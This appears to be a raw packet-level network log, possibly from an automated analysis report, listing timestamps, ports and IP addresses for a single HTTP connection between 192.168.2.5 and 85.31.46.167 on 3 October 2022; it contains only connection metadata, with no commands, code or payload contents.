Oct 3, 2022 17:30:17.374850988 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374867916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374910116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374938965 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374948025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374969959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.374974012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.374994040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375004053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375027895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375036955 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375047922 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375070095 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375099897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375116110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375116110 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375132084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375144005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375165939 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375190973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375200033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375228882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375235081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375251055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375267029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375296116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375325918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375359058 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375391006 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375405073 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375415087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375436068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375462055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375462055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375493050 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375521898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375550985 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375581026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375610113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375637054 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375662088 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375685930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375689983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375720024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375736952 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375751019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375772953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375811100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375818968 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375840902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375848055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375873089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375874996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375902891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375931978 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375961065 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.375973940 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.375991106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376020908 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376023054 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376050949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376055002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376082897 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376106977 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376126051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376144886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376157999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376166105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376187086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376204967 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376207113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376244068 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376272917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376302004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376317978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376334906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376364946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376368046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376395941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376399994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376427889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376431942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376463890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376466036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376492023 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376496077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376527071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376528025 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376559019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376585960 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376588106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376604080 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376621008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376636982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376652956 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376684904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376687050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376687050 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376714945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376724005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376748085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376754999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376779079 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376785040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376817942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376821995 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376849890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376876116 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376887083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376916885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376919985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.376949072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.376980066 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377002001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377002001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377002001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377012014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377023935 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377044916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377069950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377089024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377109051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377123117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377125978 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377162933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377168894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377193928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377223969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377226114 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377258062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377273083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377290964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377295971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377322912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377340078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377357960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377387047 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377389908 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377419949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377446890 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377450943 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377477884 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377484083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377510071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377515078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377521992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377549887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377552032 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377582073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377587080 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377614975 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377619982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377646923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.377652884 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.377686977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.398674011 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.398720026 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.398740053 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.398760080 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.398780107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.398818016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.398931980 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.404726982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.404779911 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.404812098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.404838085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.404843092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.404869080 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.404875994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.404881001 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.404907942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.404917002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.404941082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.404946089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.404973984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.404977083 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405006886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405021906 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405039072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405049086 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405071974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405076027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405103922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405108929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405132055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405158997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405179024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405190945 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405205965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405224085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405231953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405256033 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405265093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405288935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405296087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405320883 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405349016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405390024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405400038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405400038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405416965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405424118 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405457020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405462027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405476093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405491114 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405518055 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405522108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405530930 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405555010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405560970 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405586958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405599117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405620098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405632973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405653000 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405683994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405684948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405713081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405715942 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405733109 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405749083 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405761003 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405780077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405811071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405812025 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405841112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405846119 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405863047 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405879021 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405893087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405911922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405944109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405957937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405972958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.405976057 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.405991077 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406009912 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406027079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406042099 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406073093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406084061 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406105042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406116962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406136990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406167030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406192064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406208992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406210899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406225920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406245947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406263113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406310081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406311035 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406333923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406342030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406361103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406371117 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406410933 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406410933 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406435966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406464100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406472921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406488895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406503916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406528950 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406553984 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406578064 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406583071 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406615973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406616926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406656027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406656981 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406667948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406691074 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406727076 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406733990 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406758070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406765938 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406795979 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406801939 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406827927 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406835079 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406861067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406864882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406903982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406905890 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406939983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406949997 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.406972885 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.406979084 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407005072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407010078 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407037020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407042027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407068968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407073021 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407100916 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407120943 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407133102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407157898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407166004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407171965 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407197952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407227993 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407257080 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407262087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407262087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407262087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407289982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407321930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407335043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407335043 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407355070 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407357931 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407387018 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407392979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407418966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407428026 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407452106 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407459021 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407485008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407510996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407517910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407531977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407552004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407583952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407614946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407619953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407619953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407619953 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:17.407645941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:17.407653093 CEST	49694	80	192.168.2.5	85.31.46.167
